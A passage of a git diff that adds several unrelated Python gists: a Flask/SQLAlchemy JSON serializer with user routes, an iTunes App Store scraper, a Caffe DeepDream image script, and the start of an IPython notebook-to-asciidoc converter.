+
+        if not show:
+            show = []
+        if not hide:
+            hide = []
+        hidden = []
+        if hasattr(self, 'hidden_fields'):
+            hidden = self.hidden_fields
+        default = []
+        if hasattr(self, 'default_fields'):
+            default = self.default_fields
+
+        ret_data = {}
+
+        if not path:
+            path = self.__tablename__.lower()
+            def prepend_path(item):
+                item = item.lower()
+                if item.split('.', 1)[0] == path:
+                    return item
+                if len(item) == 0:
+                    return item
+                if item[0] != '.':
+                    item = '.%s' % item
+                item = '%s%s' % (path, item)
+                return item
+            show[:] = [prepend_path(x) for x in show]
+            hide[:] = [prepend_path(x) for x in hide]
+
+        columns = self.__table__.columns.keys()
+        relationships = self.__mapper__.relationships.keys()
+        properties = dir(self)
+
+        for key in columns:
+            check = '%s.%s' % (path, key)
+            if check in hide or key in hidden:
+                continue
+            if show_all or key is 'id' or check in show or key in default:
+                ret_data[key] = getattr(self, key)
+
+        for key in relationships:
+            check = '%s.%s' % (path, key)
+            if check in hide or key in hidden:
+                continue
+            if show_all or check in show or key in default:
+                hide.append(check)
+                is_list = self.__mapper__.relationships[key].uselist
+                if is_list:
+                    ret_data[key] = []
+                    for item in getattr(self, key):
+                        ret_data[key].append(item.to_dict(
+                            show=show,
+                            hide=hide,
+                            path=('%s.%s' % (path, key.lower())),
+                            show_all=show_all,
+                        ))
+                else:
+                    if self.__mapper__.relationships[key].query_class is not None:
+                        ret_data[key] = getattr(self, key).to_dict(
+                            show=show,
+                            hide=hide,
+                            path=('%s.%s' % (path, key.lower())),
+                            show_all=show_all,
+                        )
+                    else:
+                        ret_data[key] = getattr(self, key)
+
+        for key in list(set(properties) - set(columns) - set(relationships)):
+            if key.startswith('_'):
+                continue
+            check = '%s.%s' % (path, key)
+            if check in hide or key in hidden:
+                continue
+            if show_all or check in show or key in default:
+                val = getattr(self, key)
+                try:
+                    ret_data[key] = json.loads(json.dumps(val))
+                except:
+                    pass
+
+        return ret_data
+
+
+class User(Model):
+    id = db.Column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
+    first_name = db.Column(db.String(120))
+    last_name = db.Column(db.String(120))
+    posts = db.relationship('Post', backref='user', lazy='dynamic')
+
+
+class Post(Model):
+    id = db.Column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
+    user_id = db.Column(UUID(as_uuid=True), db.ForeignKey('user.id'), nullable=False)
+    title = db.Column(db.String(200))
+    text = db.Column(db.String())
+
+
+class PostForm(Form):
+    title = StringField(validators=[Length(max=200)])
+    text = StringField()
+
+
+class UserForm(Form):
+    first_name = StringField(validators=[Length(max=120)])
+    last_name = StringField(validators=[Length(max=120)])
+    posts = FieldList(FormField(PostForm))
+
+
+def requested_columns(request):
+    show = request.args.get('show', None)
+    if not show:
+        return []
+    return show.split(',')
+
+
+@app.route('/users/<string:user_id>', methods=['GET'])
+def read_user(user_id):
+
+    # get user from database
+    user = User.query.filter_by(id=user_id).first()
+    if user is None:
+        abort(404)
+
+    # return user as json
+    show = requested_columns(request)
+    return jsonify(data=user.to_dict(show=show))
+
+
+@app.route('/users/<string:user_id>', methods=['PUT'])
+def update_user(user_id):
+
+    # get user from database
+    user = User.query.filter_by(id=user_id).first()
+    if user is None:
+        abort(404)
+
+    input_data = request.get_json(force=True)
+    if not isinstance(input_data, dict):
+        return jsonify(error='Request data must be a JSON Object'), 400
+
+    # validate json user input using WTForms-JSON
+    form = UserForm.from_json(input_data)
+    if not form.validate():
+        return jsonify(errors=form.errors), 400
+
+    # update user in database
+    user.set_columns(**form.patch_data)
+    db.session.commit()
+
+    # return user as json
+    show = requested_columns(request)
+    return jsonify(data=user.to_dict(show=show))
\ No newline at end of file
diff --git a/hard-gists/6606487/._snippet.py b/hard-gists/6606487/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6606487/._snippet.py differ
diff --git a/hard-gists/6606487/snippet.py b/hard-gists/6606487/snippet.py
new file mode 100644
index 00000000..75aff23f
--- /dev/null
+++ b/hard-gists/6606487/snippet.py
@@ -0,0 +1,180 @@
+'''
+Created on Sep 7, 2013
+
+@author: anuvrat
+'''
+import pickle
+from datetime import datetime
+import urllib.request
+from bs4 import BeautifulSoup
+import re
+import string
+import json
+import codecs
+
+def loadState():
+    try:
+        state_file = open( "itunes_store_state_dump.pba", "rb" )
+        apps_discovered = pickle.load( state_file )
+        apps_pending = pickle.load( state_file )
+        state_file.close()
+        print( "Pending = ", len( apps_pending ), " Discovered = ", len( apps_discovered ) )
+        return apps_discovered, apps_pending
+    except IOError:
+        print( "A fresh start ..." )
+        return [], []
+
+character_encoding = 'utf-8'
+apps_discovered, apps_pending = loadState()
+count_offset = len( apps_discovered )
+apps_categories = {}
+
+start_time = datetime.now()
+
+def getPageAsSoup( url ):
+    try:
+        response = urllib.request.urlopen( url )
+    except urllib.error.HTTPError as e:
+        print( "HTTPError with: ", url, e )
+        return None
+    the_page = response.read()
+    soup = BeautifulSoup( the_page )
+
+    return soup
+
+def reportProgress():
+    current_time = datetime.now()
+    elapsed = current_time - start_time
+    v = ( ( len( apps_discovered ) - count_offset ) / elapsed.seconds ) * 60
+    t = len( apps_pending ) / v if v > 0 else 0
+    print( "Pending = ", len( apps_pending ), " Discovered = ", len( apps_discovered ), " Velocity = ", str( v ), " parsed per min and Time remaining in min = ", str( t ) )
+    print( json.dumps( apps_categories ) )
+
+def saveState():
+    state_file = open( "itunes_store_state_dump.pba", "wb" )
+    pickle.dump( apps_discovered, state_file )
+    pickle.dump( apps_pending, state_file )
+    state_file.close()
+    reportProgress()
+
+def getApps( categoryUrl ):
+    previous_apps = []
+    start_idx = 1
+    while( True ):
+        url = categoryUrl + "&page=" + str( start_idx )
+        print( url )
+        categoryPage = getPageAsSoup( url )
+        allAppLinks = [aDiv.get( 'href' ) for aDiv in categoryPage.findAll( 'a', href = re.compile( '^https://itunes.apple.com/us/app' ) )]
+        if allAppLinks == previous_apps: break
+        apps_pending.extend( [appLink for appLink in allAppLinks if appLink not in apps_pending] )
+        previous_apps = allAppLinks
+        start_idx += 1
+    saveState()
+
+def getAppDetails( appUrl ):
+    if appUrl in apps_discovered: return None
+    soup = getPageAsSoup( appUrl )
+    if not soup: return None
+
+    pTitleDiv = soup.find( 'p', {'class' : 'title'} )
+    if pTitleDiv and pTitleDiv.getText() == 'One Moment Please.': return None
+
+    appDetails = {}
+    appDetails['app_url'] = appUrl
+
+    titleDiv = soup.find( 'div', {'id' : 'title'} )
+    appDetails['title'] = titleDiv.find( 'h1' ).getText()
+    appDetails['developer'] = titleDiv.find( 'h2' ).getText()
+
+    detailsDiv = soup.find( 'div', {'id' : 'left-stack'} )
+    if not detailsDiv: return None
+
+    priceDiv = detailsDiv.find( 'div', {'class' : 'price'} )
+    if priceDiv: appDetails['price'] = priceDiv.getText()
+
+    categoryDiv = detailsDiv.find( 'li', {'class' : 'genre'} )
+    if categoryDiv: appDetails['category'] = categoryDiv.find( 'a' ).getText()
+
+    releaseDateDiv = detailsDiv.find( 'li', {'class' : 'release-date'} )
+    if releaseDateDiv: appDetails['release_date'] = releaseDateDiv.getText()
+
+    languageDiv = detailsDiv.find( 'li', {'class' : 'language'} )
+    if languageDiv: appDetails['language'] = languageDiv.getText().split()
+
+    contentRatingDiv = detailsDiv.find( 'div', {'class' : 'app-rating'} )
+    if contentRatingDiv: appDetails['content_rating'] = contentRatingDiv.getText()
+
+    contentRatingReasonDiv = detailsDiv.find( 'list app-rating-reasons' )
+    if contentRatingReasonDiv: appDetails['content_rating_reason'] = [li.getText() for li in contentRatingReasonDiv.findAll( 'li' )]
+
+    compatibilityDiv = detailsDiv.find( 'p' )
+    if compatibilityDiv: appDetails['compatibility'] = compatibilityDiv.getText()
+
+    customerRatingDivs = detailsDiv.findAll( 'div', {'class' : 'rating', 'role': 'img'} )
+    if customerRatingDivs:
+        customerRating = customerRatingDivs[-1].get( 'aria-label' ).split( ',' )
+        appDetails['rating'] = customerRating[0].strip()
+        appDetails['reviewers'] = customerRating[1].strip()
+
+    appLinksDiv = soup.find( 'div', {'class' : 'app-links'} )
+    if appLinksDiv:
+        for link in appLinksDiv.findAll( 'a', {'class' : 'see-all'} ):
+            text = link.getText()
+            href = link.get( 'href' )
+            if text.endswith( 'Web Site' ): appDetails['developer_wesite'] = href
+            elif text.endswith( 'Support' ): appDetails['support'] = href
+            elif text.endswith( 'Agreement' ): appDetails['license'] = href
+
+    apps_discovered.append( appUrl )
+
+    return appDetails
+
+def closeFileHandlers( fileHandlers ):
+    for v in fileHandlers.values():
+        v.close()
+
+if __name__ == '__main__':
+    itunesStoreUrl = 'https://itunes.apple.com/us/genre/ios/id36?mt=8'
+    mainPage = getPageAsSoup( itunesStoreUrl )
+    allCategories = []
+    for column in ['list column first', 'list column', 'list column last']:
+        columnDiv = mainPage.find( 'ul', {'class' : column} )
+        allCategories.extend( aDiv.get( 'href' ) for aDiv in columnDiv.findAll( 'a', href = re.compile( '^https://itunes.apple.com/us/genre' ) ) )
+
+    for category, alphabet in [( x, y ) for x in allCategories for y in string.ascii_uppercase]:
+        getApps( category + '&letter=' + alphabet )
+
+    fileHandlers = {}
+    count = 100
+    while apps_pending:
+        if count == 0:
+            saveState()
+            count = 100
+        count = count - 1
+
+        app = apps_pending.pop()
+        if not app: continue
+
+        try:
+            app_data = getAppDetails( app )
+        except Exception as e:
+            print( app, e )
+            exit( 1 )
+
+        if not app_data:
+            continue
+
+        if not app_data['category']: app_data['category'] = 'uncategorized'
+
+        if app_data['category'].lower() not in fileHandlers:
+            fileHandlers[app_data['category'].lower()] = codecs.open( '_'.join( ["apple_appstore", app_data['category'].lower()] ), 'ab', character_encoding, buffering = 0 )
+            apps_categories[app_data['category'].lower()] = 0
+        apps_categories[app_data['category'].lower()] = apps_categories[app_data['category'].lower()] + 1
+        fileHandler = fileHandlers[app_data['category'].lower()]
+        try:
+            fileHandler.write( json.dumps( app_data ) + "\n" )
+        except Exception as e:
+            print( e )
+
+    saveState()
+    closeFileHandlers( fileHandlers )
diff --git a/hard-gists/660a9d578b5f0225e5f0/._snippet.py b/hard-gists/660a9d578b5f0225e5f0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/660a9d578b5f0225e5f0/._snippet.py differ
diff --git a/hard-gists/660a9d578b5f0225e5f0/snippet.py b/hard-gists/660a9d578b5f0225e5f0/snippet.py
new file mode 100644
index 00000000..d5c04b6e
--- /dev/null
+++ b/hard-gists/660a9d578b5f0225e5f0/snippet.py
@@ -0,0 +1,345 @@
+# DreamImage.py - parameterized deepdream with support for multiple models,
+# auto-image-scaling, guided dreaming and kaleido mode (self-guided).
+# Jim Bumgardner 7-12-15
+
+# this assumes the deploy file is called 'deploy.prototxt' - you may need
+# to rename it if using a different model such as googlenet_places205.
+
+# sample invocations that produce nice results:
+# python dreamImage.py -i $1.jpg -model ../../caffe/models/googlenet_places205 -end inception_3a/output -iter 20 -octaves 5 -o $1_m3a.jpg
+# python dreamImage.py -i $1.jpg -model ../../caffe/models/googlenet_places205 -end inception_3b/output -iter 20 -octaves 5 -o $1_m3b.jpg
+# python dreamImage.py -i $1.jpg -model ../../caffe/models/googlenet_places205 -end inception_4a/output -iter 30 -octaves 6 -o $1_m4a.jpg
+# python dreamImage.py -i $1.jpg -model ../../caffe/models/bvlc_googlenet -end inception_3b/output -iter 20 -octaves 5 -o $1_g3b.jpg
+# python dreamImage.py -i $1.jpg -model ../../caffe/models/bvlc_googlenet -end inception_3a/output -iter 20 -octaves 5 -o $1_g3a.jpg
+# python dreamImage.py -i $1.jpg -model ../../caffe/models/bvlc_googlenet -end inception_4a/output -iter 20 -octaves 6 -o $1_g4a.jpg
+
+
+import os.path, os, time, sys
+os.environ['GLOG_minloglevel'] = '3'
+
+from cStringIO import StringIO
+import numpy as np
+import scipy.ndimage as nd
+import PIL.Image
+from google.protobuf import text_format
+import argparse
+import caffe
+
+parser = argparse.ArgumentParser(description='DreamImage - process a single frame')
+parser.add_argument('-i',default='clouds_512.jpg', help='input image')
+parser.add_argument('-o',default='untitled.jpg', help='output image name')
+parser.add_argument('-model',default='../../caffe/models/bvlc_googlenet', help='caffe model path')
+parser.add_argument('-deploy',default='', help='caffe model deploy file override')
+parser.add_argument('-end',default='inception_3b/output', help='caffe end layer')
+parser.add_argument('-iter',  default=10, type=int, help='Iterations, def=10')
+parser.add_argument('-octaves',  default=4, type=int, help='Octaves, def=4')
+parser.add_argument('-oscale',  default=1.4, type=float, help='Octave scale, def=1.4')
+parser.add_argument('-debug',  default=0, type=int, help='Debugging level')
+parser.add_argument('-keys',  default=False, action='store_true', help='Output keys')
+parser.add_argument('-gpu',  default=False, action='store_true', help='Use gpu')
+parser.add_argument('-force',  default=False, action='store_true', help='Force file overwrite')
+parser.add_argument('-kaleido',  default=False, action='store_true', help='Kaleido mode - uses source image as guide')
+parser.add_argument('-guide',  default='', help='Guide image')
+parser.add_argument('-raw',  default=False, action='store_true', help='Don\'t rescale image')
+
+args = parser.parse_args()
+
+st = time.time()
+
+imgName = args.i
+if not os.path.exists(imgName):
+    if 'jpg' in imgName and os.path.exists(imgName[:len(imgName)-4]+'.png'):
+        imgName = imgName[:len(imgName)-4]+'.png'
+    else:
+        print "Can't find image"
+        sys.exit()
+
+outName = args.o
+if os.path.isfile(outName) and not args.force:
+    print "File exists"
+    sys.exit()
+
+model_path = args.model # '../../caffe/models/bvlc_googlenet/' # substitute your path here
+if model_path[-1] == '/':
+    model_path = model_path[:-1]
+if args.deploy == '':
+    net_fn   = model_path + '/deploy.prototxt'
+else:
+    net_fn   = args.deploy
+param_fn = model_path + '/' + (model_path.split('/'))[-1] + '.caffemodel'
+
+# Patching model to be able to compute gradients.
+# Note that you can also manually add "force_backward: true" line to "deploy.prototxt".
+
+model = caffe.io.caffe_pb2.NetParameter()
+text_format.Merge(open(net_fn).read(), model)
+model.force_backward = True
+open('tmp.prototxt', 'w').write(str(model))
+
+net = caffe.Classifier('tmp.prototxt', param_fn,
+                       mean = np.float32([104.0, 116.0, 122.0]), # ImageNet mean, training set dependent
+                       channel_swap = (2,1,0)) # the reference model has channels in BGR order instead of RGB
+
+if args.gpu:
+    caffe.set_mode_gpu()
+    caffe.set_device(0)
+
+if args.keys:
+    print net.blobs.keys()
+    sys.exit()
+
+# a couple of utility functions for converting to and from Caffe's input image layout
+def preprocess(net, img):
+    return np.float32(np.rollaxis(img, 2)[::-1]) - net.transformer.mean['data']
+def deprocess(net, img):
+    return np.dstack((img + net.transformer.mean['data'])[::-1])
+def objective_L2(dst):
+    dst.diff[:] = dst.data 
+
+def make_step(net, step_size=1.5, end='inception_4c/output', 
+              jitter=32, clip=True, objective=objective_L2):
+    '''Basic gradient ascent step.'''
+
+    src = net.blobs['data'] # input image is stored in Net's 'data' blob
+    dst = net.blobs[end]
+
+    ox, oy = np.random.randint(-jitter, jitter+1, 2)
+    src.data[0] = np.roll(np.roll(src.data[0], ox, -1), oy, -2) # apply jitter shift
+            
+    net.forward(end=end)
+    objective(dst)  # specify the optimization objective
+    # dst.diff[:] = dst.data  # specify the optimization objective
+    net.backward(start=end)
+    g = src.diff[0]
+    # apply normalized ascent step to the input image
+    src.data[:] += step_size/np.abs(g).mean() * g
+
+    src.data[0] = np.roll(np.roll(src.data[0], -ox, -1), -oy, -2) # unshift image
+            
+    if clip:
+        bias = net.transformer.mean['data']
+        src.data[:] = np.clip(src.data, -bias, 255-bias)
+
+def deepdream(net, base_img, iter_n=10, octave_n=4, octave_scale=1.4, 
+              end='inception_4c/output', clip=True, **step_params):
+    # prepare base images for all octaves
+    octaves = [preprocess(net, base_img)]
+    for i in xrange(octave_n-1):
+        octaves.append(nd.zoom(octaves[-1], (1, 1.0/octave_scale,1.0/octave_scale), order=1))
+    
+    src = net.blobs['data']
+    detail = np.zeros_like(octaves[-1]) # allocate image for network-produced details
+    for octave, octave_base in enumerate(octaves[::-1]):
+        h, w = octave_base.shape[-2:]
+        if octave > 0:
+            # upscale details from the previous octave
+            h1, w1 = detail.shape[-2:]
+            detail = nd.zoom(detail, (1, 1.0*h/h1,1.0*w/w1), order=1)
+
+        src.reshape(1,3,h,w) # resize the network's input image size
+        src.data[0] = octave_base+detail
+        print octave, end, iter_n,"..."
+        for i in xrange(iter_n):
+            make_step(net, end=end, clip=clip, **step_params)
+            
+            # visualization
+            vis = deprocess(net, src.data[0])
+            if not clip: # adjust image contrast if clipping is disabled
+                vis = vis*(255.0/np.percentile(vis, 99.98))
+            # showarray(vis)
+            # print octave, i, end, vis.shape
+            # clear_output(wait=True)
+            
+        # extract details produced on the current octave
+        detail = src.data[0]-octave_base
+    # returning the resulting image
+    return deprocess(net, src.data[0])
+
+def objective_guide(dst):
+    global guide_features
+    x = dst.data[0].copy()
+    y = guide_features
+    ch = x.shape[0]
+    x = x.reshape(ch,-1)
+    y = y.reshape(ch,-1)
+    A = x.T.dot(y) # compute the matrix of dot-products with guide features
+    dst.diff[0].reshape(ch,-1)[:] = y[:,A.argmax(1)] # select ones that match best
+
+srcImage = PIL.Image.open(imgName).convert('RGB')
+if not args.raw:
+    (w, h) = srcImage.size
+    if w > 1024 or h > 1024:
+        srcImage.thumbnail((1024,1024),PIL.Image.ANTIALIAS)
+
+img = np.float32(srcImage)
+
+if args.kaleido:
+    kaleid = PIL.Image.open(imgName)
+    kaleid.thumbnail((224,224),PIL.Image.ANTIALIAS)
+    guide = np.float32(kaleid)
+    h, w = guide.shape[:2]
+    src, dst = net.blobs['data'], net.blobs[args.end]
+    src.reshape(1,3,h,w)
+    src.data[0] = preprocess(net, guide)
+    net.forward(end=args.end)
+    guide_features = dst.data[0].copy()
+    objective = objective_guide
+elif args.guide != '':
+    guide = np.float32(PIL.Image.open(args.guide))
+    h, w = guide.shape[:2]
+    src, dst = net.blobs['data'], net.blobs[args.end]
+    src.reshape(1,3,h,w)
+    src.data[0] = preprocess(net, guide)
+    net.forward(end=args.end)
+    guide_features = dst.data[0].copy()
+    objective = objective_guide
+else:
+    objective = objective_L2
+
+frame = deepdream(net, img, end=args.end, iter_n=args.iter, octave_scale=args.oscale, octave_n=args.octaves, objective=objective)
+PIL.Image.fromarray(np.uint8(frame)).save(outName)
+
+print "Elapsed: %.2f" % (time.time()-st)
+
+comments = """
+Observations
+
+
+clouds_1024 at (20/6/4a) takes 88 secs  (CPU Only - need to figure out how to compile for GPU...)
+clouds_1024 at (20/4/4a) takes 75 secs  (CPU Only - need to figure out how to compile for GPU...)
+do_venice.sh (30/6/4a) clouds_1024 takes 153 (with one other dd process) 187 secs (with two other dd processes running)
+
+512x281 image takes 12.3 secs
+1024x563 image takes 46.48 per frame
+3264x1794 image should takes approx 7 minutes
+
+bvlc_google takes 55.76
+Finetune_Flickr takes
+
+Layer choice
+
+'data',
+ 'conv1/7x7_s2',
+ 'pool1/3x3_s2',
+ 'pool1/norm1',
+ 'conv2/3x3_reduce',
+ 'conv2/3x3',
+ 'conv2/norm2',
+ 'pool2/3x3_s2',
+ 'pool2/3x3_s2_pool2/3x3_s2_0_split_0',
+ 'pool2/3x3_s2_pool2/3x3_s2_0_split_1',
+ 'pool2/3x3_s2_pool2/3x3_s2_0_split_2',
+ 'pool2/3x3_s2_pool2/3x3_s2_0_split_3',
+ 'inception_3a/1x1',
+ 'inception_3a/3x3_reduce',
+ 'inception_3a/3x3',
+ 'inception_3a/5x5_reduce',
+ 'inception_3a/5x5',
+ 'inception_3a/pool',
+ 'inception_3a/pool_proj',
+ 'inception_3a/output',
+ 'inception_3a/output_inception_3a/output_0_split_0',
+ 'inception_3a/output_inception_3a/output_0_split_1',
+ 'inception_3a/output_inception_3a/output_0_split_2',
+ 'inception_3a/output_inception_3a/output_0_split_3',
+ 'inception_3b/1x1',
+ 'inception_3b/3x3_reduce',
+ 'inception_3b/3x3',
+ 'inception_3b/5x5_reduce',      <-- STRIPES
+ 'inception_3b/5x5',
+ 'inception_3b/pool',
+ 'inception_3b/pool_proj',
+ 'inception_3b/output',
+ 'pool3/3x3_s2',
+ 'pool3/3x3_s2_pool3/3x3_s2_0_split_0',
+ 'pool3/3x3_s2_pool3/3x3_s2_0_split_1',
+ 'pool3/3x3_s2_pool3/3x3_s2_0_split_2',
+ 'pool3/3x3_s2_pool3/3x3_s2_0_split_3',
+ 'inception_4a/1x1',
+ 'inception_4a/3x3_reduce',
+ 'inception_4a/3x3',
+ 'inception_4a/5x5_reduce',       <-- SWIRLS
+ 'inception_4a/5x5',
+ 'inception_4a/pool',
+ 'inception_4a/pool_proj',
+ 'inception_4a/output',
+ 'inception_4a/output_inception_4a/output_0_split_0',
+ 'inception_4a/output_inception_4a/output_0_split_1',
+ 'inception_4a/output_inception_4a/output_0_split_2',
+ 'inception_4a/output_inception_4a/output_0_split_3',
+ 'inception_4b/1x1',
+ 'inception_4b/3x3_reduce',
+ 'inception_4b/3x3',
+ 'inception_4b/5x5_reduce',
+ 'inception_4b/5x5',
+ 'inception_4b/pool',
+ 'inception_4b/pool_proj',
+ 'inception_4b/output',
+ 'inception_4b/output_inception_4b/output_0_split_0',
+ 'inception_4b/output_inception_4b/output_0_split_1',
+ 'inception_4b/output_inception_4b/output_0_split_2',
+ 'inception_4b/output_inception_4b/output_0_split_3',
+ 'inception_4c/1x1',
+ 'inception_4c/3x3_reduce',
+ 'inception_4c/3x3',
+ 'inception_4c/5x5_reduce',
+ 'inception_4c/5x5',
+ 'inception_4c/pool',
+ 'inception_4c/pool_proj',
+ 'inception_4c/output',
+ 'inception_4c/output_inception_4c/output_0_split_0',
+ 'inception_4c/output_inception_4c/output_0_split_1',
+ 'inception_4c/output_inception_4c/output_0_split_2',
+ 'inception_4c/output_inception_4c/output_0_split_3',
+ 'inception_4d/1x1',
+ 'inception_4d/3x3_reduce',
+ 'inception_4d/3x3',
+ 'inception_4d/5x5_reduce',
+ 'inception_4d/5x5',
+ 'inception_4d/pool',
+ 'inception_4d/pool_proj',
+ 'inception_4d/output',
+ 'inception_4d/output_inception_4d/output_0_split_0',
+ 'inception_4d/output_inception_4d/output_0_split_1',
+ 'inception_4d/output_inception_4d/output_0_split_2',
+ 'inception_4d/output_inception_4d/output_0_split_3',
+ 'inception_4e/1x1',
+ 'inception_4e/3x3_reduce',
+ 'inception_4e/3x3',
+ 'inception_4e/5x5_reduce',
+ 'inception_4e/5x5',
+ 'inception_4e/pool',
+ 'inception_4e/pool_proj',
+ 'inception_4e/output',
+ 'pool4/3x3_s2',
+ 'pool4/3x3_s2_pool4/3x3_s2_0_split_0',
+ 'pool4/3x3_s2_pool4/3x3_s2_0_split_1',
+ 'pool4/3x3_s2_pool4/3x3_s2_0_split_2',
+ 'pool4/3x3_s2_pool4/3x3_s2_0_split_3',
+ 'inception_5a/1x1',
+ 'inception_5a/3x3_reduce',
+ 'inception_5a/3x3',
+ 'inception_5a/5x5_reduce',
+ 'inception_5a/5x5',
+ 'inception_5a/pool',
+ 'inception_5a/pool_proj',
+ 'inception_5a/output',
+ 'inception_5a/output_inception_5a/output_0_split_0',
+ 'inception_5a/output_inception_5a/output_0_split_1',
+ 'inception_5a/output_inception_5a/output_0_split_2',
+ 'inception_5a/output_inception_5a/output_0_split_3',
+ 'inception_5b/1x1',
+ 'inception_5b/3x3_reduce',
+ 'inception_5b/3x3',
+ 'inception_5b/5x5_reduce',
+ 'inception_5b/5x5',
+ 'inception_5b/pool',
+ 'inception_5b/pool_proj',
+ 'inception_5b/output',
+ 'pool5/7x7_s1',
+ 'loss3/classifier',
+ 'prob'
+
+
+
+"""
diff --git a/hard-gists/6622819/._snippet.py b/hard-gists/6622819/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6622819/._snippet.py differ
diff --git a/hard-gists/6622819/snippet.py b/hard-gists/6622819/snippet.py
new file mode 100644
index 00000000..621692b9
--- /dev/null
+++ b/hard-gists/6622819/snippet.py
@@ -0,0 +1,449 @@
+"""Hackish script to convert a notebook into
+
+Note that the content of markdown cells is not translated: it is assumed to
+hold asciidoc content instead (even if it does not render correctly in the
+browser editing the notebook file).
+
+This script could be improved to use pandoc to handle the conversion instead.
+
+Sample usage:
+
+To convert a notebook into an asciidoc chapter file::
+
+  $ python ipynbhelper.py --convert notebooks/chapter-1-introduction.ipynb
+
+The resulting file should be chapter-1-introduction.asciidoc
+
+To re-render all the code cells output prior to converting to asciidoc:
+
+  $ python ipynbhelper.py --render --convert notebooks/chapter-1-introduction.ipynb
+
+The matplotlib plots can be rendered inline the notebook with::
+
+  % matplotlib inline
+  import matplotlib.pyplot as plt
+
+ipynbhelper.py will extract the inline plots as png files in the images/ folder
+and generate asciidoc figure block for those images.
+
+Code cells that include a plot should have a title (mandatory for asciidoc
+figures) with their last line starting with "# title: ", for instance:
+
+    plt.plot(range(10), label='Linear growth')
+    plt.plot([x ** 2 for x in range(10)], label='Quadratic growth')
+    plt.legend()
+    # title: Comparing growth functions
+
+Credits: this is derived from a mix of various gists by @minrk.
+
+"""
+from __future__ import print_function
+from copy import deepcopy
+import re
+import sys
+import os
+import io
+import base64
+from Queue import Empty
+from uuid import uuid4
+
+from IPython.nbformat import current
+try:
+    from IPython.kernel import KernelManager
+    assert KernelManager  # to silence pyflakes
+except ImportError:
+    # 0.13
+    from IPython.zmq.blockingkernelmanager import BlockingKernelManager
+    KernelManager = BlockingKernelManager
+
+
+CODE_CELL_START = "// code cell start uuid: "
+CODE_CELL_END = "// code cell end"
+
+ASCIIDOC_BLOCK = "----\n"
+
+MISSING_FIGURE_TITLE = "XXX: missing figure title"
+
+
+def remove_outputs(nb):
+    """Remove the outputs from a notebook"""
+    for ws in nb.worksheets:
+        for cell in ws.cells:
+            if cell.cell_type == 'code':
+                cell.outputs = []
+                if 'prompt_number' in cell:
+                    del cell['prompt_number']
+
+
+def check_uuid(nb, cell_types=('code',)):
+    """Add uuid tags to all the cell"""
+    for ws in nb.worksheets:
+        for cell in ws.cells:
+            if cell.cell_type in cell_types:
+                if not 'uuid' in cell.metadata:
+                    cell.metadata['uuid'] = str(uuid4())
+
+
+def run_cell(shell, iopub, cell, timeout=300):
+    # print cell.input
+    shell.execute(cell.input)
+    # wait for finish, maximum 5min by default
+    reply = shell.get_msg(timeout=timeout)['content']
+    if reply['status'] == 'error':
+        failed = True
+        print("\nFAILURE:")
+        print(cell.input)
+        print('-----')
+        print("raised:")
+        print('\n'.join(reply['traceback']))
+    else:
+        failed = False
+
+    # Collect the outputs of the cell execution
+    outs = []
+    while True:
+        try:
+            msg = iopub.get_msg(timeout=0.2)
+        except Empty:
+            break
+        msg_type = msg['msg_type']
+        if msg_type in ('status', 'pyin'):
+            continue
+        elif msg_type == 'clear_output':
+            outs = []
+            continue
+
+        content = msg['content']
+        # print msg_type, content
+        out = current.NotebookNode(output_type=msg_type)
+
+        if msg_type == 'stream':
+            out.stream = content['name']
+            out.text = content['data']
+        elif msg_type in ('display_data', 'pyout'):
+            for mime, data in content['data'].iteritems():
+                attr = mime.split('/')[-1].lower()
+                # this gets most right, but fix svg+html, plain
+                attr = attr.replace('+xml', '').replace('plain', 'text')
+                setattr(out, attr, data)
+            if msg_type == 'pyout':
+                out.prompt_number = content['execution_count']
+        elif msg_type == 'pyerr':
+            out.ename = content['ename']
+            out.evalue = content['evalue']
+            out.traceback = content['traceback']
+        else:
+            print("unhandled iopub msg:", msg_type)
+
+        outs.append(out)
+    return outs, failed
+
+
+def run_notebook(nb):
+    km = KernelManager()
+    km.start_kernel(stderr=open(os.devnull, 'w'))
+    if hasattr(km, 'client'):
+        kc = km.client()
+        kc.start_channels()
+        iopub = kc.iopub_channel
+    else:
+        # IPython 0.13 compat
+        kc = km
+        kc.start_channels()
+        iopub = kc.sub_channel
+    shell = kc.shell_channel
+
+    # simple ping:
+    shell.execute("pass")
+    shell.get_msg()
+
+    cells = 0
+    failures = 0
+    for ws in nb.worksheets:
+        for cell in ws.cells:
+            if cell.cell_type != 'code':
+                continue
+
+            outputs, failed = run_cell(shell, iopub, cell)
+            cell.outputs = outputs
+            cell['prompt_number'] = cells
+            failures += failed
+            cells += 1
+            sys.stdout.write('.')
+
+    print()
+    print("ran notebook %s" % nb.metadata.name)
+    print("    ran %3i cells" % cells)
+    if failures:
+        print("    %3i cells raised exceptions" % failures)
+    kc.stop_channels()
+    km.shutdown_kernel()
+    del km
+
+
+class Node(object):
+
+    def __init__(self):
+        self.lines = []
+        self.images = []
+        self.next_node = None
+
+    def connect(self, next_node):
+        self.next_node = next_node
+        return next_node
+
+
+def _clean_output_lines(text):
+    first_line = True
+    trimmed_lines = []
+    for line in text.split('\n'):
+        if first_line and not line.strip():
+            continue
+
+        # Discard matplotlib objects
+        if "<matplotlib." in line:
+            continue
+        if "<Container object" in line:
+            continue
+        if "ticklabel" in line:
+            continue
+
+        trimmed_lines.append(line + '\n')
+        first_line = False
+    return trimmed_lines
+
+
+class CodeNode(Node):
+
+    def __init__(self, asciidoc_metadata=None):
+        super(CodeNode, self).__init__()
+        self.asciidoc_metadata = asciidoc_metadata
+
+    def with_code_cell(self, cell):
+        uuid = cell.metadata.uuid
+        code = cell.input
+        code = re.sub(' +\n', '\n', code)  # trim eol whitespaces
+        code_lines = code.split('\n')
+        self.lines = []
+        figure_title = MISSING_FIGURE_TITLE
+        has_figure = False
+        self.lines.append(CODE_CELL_START + '%s\n' % uuid)
+        if self.asciidoc_metadata != "skip_input":
+            self.lines.append('[source,python]\n')
+            self.lines.append('----\n')
+            for code_line in code_lines:
+                if code_line.startswith('# title: '):
+                    figure_title = code_line[len('# title: '):]
+                    has_figure = True
+                else:
+                    self.lines.append(code_line + '\n')
+            self.lines.append('----\n\n')
+        else:
+            # scan for the title
+            for code_line in code_lines:
+                if code_line.startswith('# title: '):
+                    figure_title = code_line[len('# title: '):]
